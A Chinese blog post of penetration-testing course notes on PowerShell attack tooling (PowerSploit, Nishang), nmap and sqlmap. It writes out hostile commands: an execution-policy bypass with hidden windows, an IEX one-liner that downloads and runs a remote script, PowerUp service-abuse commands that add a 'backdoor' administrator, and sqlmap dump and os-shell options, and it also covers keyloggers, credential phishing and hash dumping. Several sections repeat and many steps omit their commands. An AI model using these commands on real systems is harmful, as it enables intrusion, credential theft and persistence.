实训周笔记

PowerShell简介

常用的PowerShell攻击工具: PowerSploit  Nishang  PowerCat

PowerShell是一种基于任务的命令行解释器和脚本环境,可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计,以.NET框架为平台,Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面,在不需要写入磁盘的情况下执行命令,也可以逃避Anti-Virus检测。另外,可以把PowerShell看作命令行提示符cmd.exe的扩充。

基于.NET框架

操作系统信任

提供win系列操作系统的几乎一切访问权限

win7之后默认安装

脚本可以运行在内存中,不需要写入磁盘

cmd.exe通常会被安全软件阻止,一般PowerShell不会

第一种

win+r启动运行下输入powershell进入

第二种

cmd下输入powershell进入

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。

PowerShell基本概念

PS1文件:

一个PowerShell脚本其实就是一个简单的 文本文件,这个文件包含了一系列的 PowerShell命令,每个命令显示为独立的一行,PowerShell文件的后缀为 .PS1。

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行;

Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

执行策略:

为防止恶意脚本的执行,PowerShell有一个执行策略,默认情况下,这个执行策略被设置为受限。

我们可以使用: Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。

Restricted:脚本不能运行(默认设置)

RemoteSigned:本地创建的脚本可以运行,但是从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行;

Unrestricted:允许所有的脚本执行

另外修改PowerShell执行策略:Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行

运行脚本:

运行一个脚本,必须键入完整的路径和文件名,例如,你要运行一个名为a.ps1的脚本,可以键入c:\script\a.ps1

但如果PowerShell脚本文件在你的系统目录中,那么在命令提示符后直接键入脚本文件名即可运行,如.\a.ps1的前面就加上“.\”,这和在Linux下执行Shell脚本的方法一样

管道:

管道的作用就是将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号(|)连接

例如:

假设停止所有目前运行中的,以“note"字符开头命名的程序

Get-Process note*|stop-process

PowerShell常用命令

基本知识:

在PowerShell下,类似“cmd命令”叫做“cmdlet” ,其命令的命名规范很一致,都采用了 动词-名词的形式,如Net-Item,动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令,如查看目录可以使用 dir 或者 ls ,并且PowerShell命令不区分大小写。

后面会以文件操作为例讲解PowerShell命令的基本用法

文件操作类的PowerShell命令:

新建目录test:New-Item test -ItemType directory

删除目录test:Remove-Item test

新建文件test.txt:New-Item test1.txt -ItemType file

新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"

查看文件test.txt内容:Get-Content  test.txt

设置文件test.txt内容t:Set-Content  test.txt  -Value "haha"

给文件test.txt追加内容:Add-Content test.txt  -Value ",word!"

清除文件test.txt内容:Clear-Content test.txt

删除文件test.txt:Remove-Item test.txt

绕过执行策略执行PowerShell脚本

如果运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted

在渗透测试时,就需要采用一些方法绕过策略来执行PowerShell脚本,列举如下三种方式

1.绕过本地权限执行

2.本地隐藏绕过权限执行脚本

3.用IEX下载远程PS1脚本绕过权限执行

绕过本地权限执行

上传test.ps1到目标主机,在cmd环境下,在目标主机本地当前目录执行该脚本

powershell -exec bypass  .\test.ps1

本地隐藏绕过权限执行脚本

powershell.exe -exec bypass -W hidden -nop  test.ps1

输入命令执行后会退出命令提示符

用IEX下载远程PS1脚本绕过权限执行

powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

PowerShell命令参数说明

对上述命令参数进行说明

ExecvtionPolicy Bypass(-exec bypass):绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则;

WindowStyle Hidden(-w hidden):隐藏窗口,也就是执行完命令后,窗口隐藏;

-command(-c):执行powershell脚本;

NoProfile(-nop):PowerShell控制台不加载当前用户的配置文件;

NoLogo:启动不显示版权标志的PowerShell;

Nonlnteractive(-noni):非交互模式;

Noexit:执行后不退出shell,这在使用键盘记录等脚本时非常重要;

-enc  base64: 把ps脚本编码成base64来执行,实战用的最多;

PowerSploit

PowerSploit是一款基于PowerShell的后渗透框架软件,包含了很多PowerShell的攻击脚本,它们主要用于渗透中的信息侦测,权限提升、权限维持等。PowerSploit项目地址:https://github.com/PowerShellMafia/PowerSploit

  • ActivirusBypass:绕过杀毒软件查杀
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性的脚本
  • Persistence:权限维持
  • Privsec:提权等脚本
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

PowerSploit安装

PowerSploit脚本到服务器,搭建一个简易的WEB服务器。将PowerSploit目录放到WEB目录,使其可以通过HTTP访问到。

这里以kali服务器为例,介绍两种方式

第一种方式:

开启apache服务:service apache2 start

将powersploit目录放到/var/www/html/中

第二种方式:

切换到powersploit目录,然后执行如下命令开启WEB服务器

python3 -m http.server 8080

Git clone https://github.com/PowerShellMafia/PowerSploit

在浏览器中打开WEB服务器地址,如下图所示

PowerSploit脚本攻击实战

PowerSploit提供了各类攻击脚本,数量相当多,这里介绍一些在实战中使用比较多的脚本,其他的大家可以尝试使用。

利用这些脚本一般是通过我们前期获取的目标shell,在命令行中远程下载这些脚本,在目标服务器上使用。

为方便,这里我们直接在目标服务器做这些操作。

Invoke-Shellcode脚本

CodeExecution模块下的Invoke-Sellcode脚本常用于将ShellCode插入本地Powershell中或者指定的进程ID。

直接执行ShellCode反弹Meterpreter Shell

首先在MSF里使用reverse_https模块进行监听

Invoke-Shellcode脚本

使用msfvenom命令生成一个PowerShell脚本木马

接着在目标机Powershell下输入以下命令下载该脚本

接着输入以下命令下载木马

接着在PowerShell下运行该命令

-Force意思是不用提示,直接执行。返回MSF的监听界面下,发现已经反弹成功了

Invoke-Portscan扫描端口

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也很简单。

首先下载脚本

然后使用以下命令进行扫描,-Hosts为要扫描的目标IP,-Ports为要扫的端口,从下图可

以看到,扫描出该IP机器开放了80,22,4444端口

Invoke-Mimikatz 信息收集

,注意的是这个脚本的运行需要管理员权限。

Get-Keystrokes 键盘记录器

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,可以记录键盘输入记录,以及鼠标的点击情况,还能记录详细的时间

首先下载脚本

然后执行以下命令开启键盘记录

使用键盘输入一些内容

查看c:\windows\temp\key.txt中记录的内容

Get-TimedScreenshot  屏幕记录

Get-TimedScreenshot是Exfiltration模块下用来进行屏幕记录的脚本

首先下载脚本

PowerUP攻击模块

Powerup是Privesc模块下的一个脚本,功能相当强大,拥有众多实用的脚本来帮助我们寻找目标主机Windows服务漏洞进行提权。

通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,而今天我将介绍一个非常实用的Powerup模块,此模块可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的

​首先进行加载,使用如下命令,然后就可以使用PowerUP中的所有模块了。或者上传本机加载

 

在源码中搜索function,看PowerUP有哪些模块

​如果要查看各个模块的详细说明,可以输入get-help [cmdlet] –full命令查看,比如

Get-Help Invoke-AllChecks -full

 

下面开始对模块介绍:

1.Invoke-AllChecks

执行所有的脚本来检查。

执行方式:

PS C:> Invoke-AllChecks

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:

PS C:>Find-Pathdllhijack

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:

PS C:>Find-Pathdllhijack

2.Find-PathDLLHijack

检查当前%PATH%是否存在哪些目录是当前用户可以写入的。

执行方式:

PS C:>Find-Pathdllhijack

3.Get-ApplicationHost

从系统上的applicationHost.config文件恢复加密过的应用池和虚拟目录的密码。

执行方式:

PS C:>get-ApplicationHost

PS C:>get-ApplicationHost | Format-Table -Autosize # 列表显示

4. Get-RegistryAlwaysInstallElevated

检查AlwaysInstallElevated注册表项是否被设置,如果被设置,意味着的MSI文件是以system权限运行的。

执行方式:

PS C:>Get-RegistryAlwaysInstallElevated

5. Get-RegistryAutoLogon

检测Winlogin注册表AutoAdminLogon项有没有被设置,可查询默认的用户名和密码。

执行方式:

PS C:> Get-RegistryAutoLogon

6. Get-ServiceDetail

返回某服务的信息。

执行方式:

PS C:> Get-ServiceDetail -ServiceName Dhcp #获取DHCP服务的详细信息

7. Get-ServiceFilePermission

检查当前用户能够在哪些服务的目录写入相关联的可执行文件,通过这些文件可达到提权的目的。

执行方式:

C:> Get-ServiceFilePermission

8. Test-ServiceDaclPermission

检查所有可用的服务,并尝试对这些打开的服务进行修改,如果可修改,则返回该服务对象。

执行方式:

PS C:>Test-ServiceDaclPermission

9. Get-ServiceUnquoted

检查服务路径,返回包含空格但是不带引号的服务路径。

此处利用的windows的一个逻辑漏洞,即当文件包含空格时,windows API会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升。

比如C:program fileshello.exe ,会被解释为C:program.exe以及C:program fileshello.exe

执行方式:

PS C:>Get-ServiceUnquoted

10. Get-UnattendedInstallFile

检查几个路径,查找是否存在这些文件,在这些文件里可能包含有部署凭据。这些文件包括:

c:\sysprep\sysprep.xml

c:\sysprep\sysprep.inf

c:sysprep.inf

c:\windows\Panther\Unattended.xml

c:\windows\Panther\UnattendUnattended.xml

c:\windows\Panther\Unattend.xml

c:\windows\Panther\UnattendUnattend.xml

c:\windows\S\ystem32\Sysprep\unattend.xml

c:\windows\System32\Sysprep\Panther\unattend.xml

执行方式:

PS C:> Get-UnattendedInstallFile

11. Get-ModifiableRegistryAutoRun

检查开机自启的应用程序路径和注册表键值,返回当前用户可修改的程序路径。

注册表检查的键值为:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunService

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnceService

执行方式:

PS C:>Get-ModifiableRegistryAutoRun

​12. Get-ModifiableScheduledTaskFile

返回当前用户能够修改的计划任务程序的名称和路径。

执行方式:

PS C:>Get-ModifiableScheduledTaskFile

13. Get-Webconfig

返回当前服务器上的web.config文件中的数据库连接字符串的明文。

执行方式:

PS C:>get-webconfig

​14. Invoke-ServiceAbuse

用来通过修改服务添加用户到指定组,并可以通过定制-cmd参数触发添加用户的自定义命令。

执行方式:

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC # 添加默认账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -UserName backdoor -Password password -LocalGroup "Administrators" # 指定添加用户,用户密码以及添加的用户组。

PS C:> Invoke-ServiceAbuse -ServiceName VulnSVC -Command "net ..."# 自定义执行命令

15. Restore-ServiceBinary

恢复服务的可执行文件到原始目录。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

16. Test-ServiceDaclPermission

检查某个用户是否在一个服务有自由访问控制的权限,返回true或false。

执行方式:

PS C:> Restore-ServiceBinary -ServiceName VulnSVC

17. Write-HijackDll

输出一个自定义命令并且能够自删除的bat文件到$env:Tempdebug.bat,并输出一个能够启动这个bat文件的dll

18.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式:

PS C:> Write-UserAddMSI

18.Write-UserAddMSI

生成一个安装文件,运行这个安装文件,则弹出添加用户的框。

执行方式:

PS C:> Write-UserAddMSI

19. Write-ServiceBinary

预编译C#服务的可执行文件。默认创建一个默认管理员账号。可通过Command定制自己的命令。

执行方式:

PSC:>Write-ServiceBinary -ServiceName VulnSVC # 添加默认账号

PSC:>Write-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn" # 指定添加域账号

PSC:>Write-ServiceBinary-ServiceName VulnSVC -UserName backdoor -Password Password123! # 指定添加用户,用户密码以及添加的用户组

PSC:> Write-ServiceBinary -ServiceName VulnSVC -Command "net ..." # 自定义执行命令

20. Install-ServiceBinary

通过Write-ServiceBinary写一个C#的服务用来添加用户。

执行方式:

PSC:> Install-ServiceBinary -ServiceName DHCP

PSC:> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLABjohn"

PSC:>Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123!

PSC:> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..."

Write-ServiceBinary与Install-ServiceBinary不同的是前者生成可执行文件,后者直接安装服务。

PowerUP攻击模块实战演练

很多PowerUp模块不能一一演示,只针对性介绍几个常用模块的实战应用

首先我们安装一个存在漏洞的服务环境:

https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe

安装好漏洞环境后,我们建一个普通用户:net user powerup 123456 /add

然后登录到这个新建的普通用户

我们可以把PowerUp脚本上传到目标服务器,或是远程内存加载

这里远程加载如下:

然后调用Invoke-AllChecks

Nishang

Nishang简介

Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。

下载地址如下:

https://github.com/samratashok/nishang

下载完成后我们可以看到以下工具里面都包括一些什么功能目录

Nishang模块攻击实战

开始对部分模块的功能进行讲解:

1.Check-VM

它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

2. Invoke-CredentialsPhish

这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程

Invoke-CredentialsPhish

输入服务器正确账号和密码后

3. Get-PassHashes

在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

4. Invoke-Mimikatz

需要管理员权限,抓取密码

PowerShell交互式Shell

Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell

一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍:

-IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址

-Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。

-Reverse [<SwitchParameter>] 反向连接

-Bind [<SwitchParameter>] 正向连接

nmap使用讲解

信息收集 主要收集目标主机的相关信息,主要包括端口、服务、漏洞等信息。信息收集手段多样,可借助工具也多种多样。

端口扫描:Nmap

主机信息收集技术—Nmap

namp 192.168.1.1

namp   -A    –T4    -v     192.168.1.1

        -A  开启操作系统识别和版本识别功能

       -T  0-6档,设置扫描的快慢,0最慢,6最快;

       级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现;

       一般选择T4

       v  显示信息的级别,-vv 显示更详细的信息

       192.168.1.1  扫描单个目标

       192.168.1.1  192.168.1.5  …    扫描多个目标

       192.168.1.1/24  扫描C段   或者 192.168.1.1-254

     

扫描脚本介绍:

位置 : nmap安装目录/scripts/     例如/usr/share/nmap/scripts

脚本类型:

主机信息收集技术—Nmap进阶

Sqlmap讲解

sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库:MySQL,Oracle, PostgreSQL, SQL Server,  Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

Sqlmap简介

sqlmap支持五种不同的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • uError-based SQL injection(报错型注入)
  • uBoolean-based blind SQL injection(布尔型注入)
  • uTime-based blind SQL injection(基于时间延迟注入)
  • uStacked queries SQL injection(可多语句查询注入)

sqlmap常用参数

设置目标URL

-u /--url

最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”

• -m

从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt

• -r

从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据 ......

--dbs              返回当前连接的数据库

--current-db       返回当前网站数据库的数据库用户

-D                 指定数据库系统的数据库名

--tables           列举数据库表

-T                 指定数据库表名

--columns          列举数据库表中的字段

-C                 指定数据库表中的字段名

--dump             获取整个表的数据

设置回显等级

参数:-v 默认为1:

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认等级)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同事显示HTTP响应页面

设置HTTP数据包相关参数

参数:--data

此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去

的参数。

python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

参数:--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

设置HTTP数据包相关参数

HTTP User-Agent

参数:--random-agent 会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

设定探测等级

--level

共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload。

level>=2的时候就会测试HTTP Cookie。

level>=3的时候就会测试HTTP User-Agent/Referer头。

level=5 的时候会测试HTTP Host

--users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

--current-user 在大多数据库中可以获取到管理数据的用户。

--is-dba 判断当前的用户是否为管理,是的话会返回True。

--proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080

--os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。

简单注入流程

Sqlmap进阶

--level 探测等级

一共有5个等级,默认是1。

sqlmap使用的payload可以在xml\payloads中看到,也可以根据相应的格式添加自己的payload,5级包含的payload最多。

http cookie在2级时可以检测

HTTP user-Agent/Referer在3级时就会检测

判断当前数据库用户权限

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba

–roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色,

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

Burp Suite

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值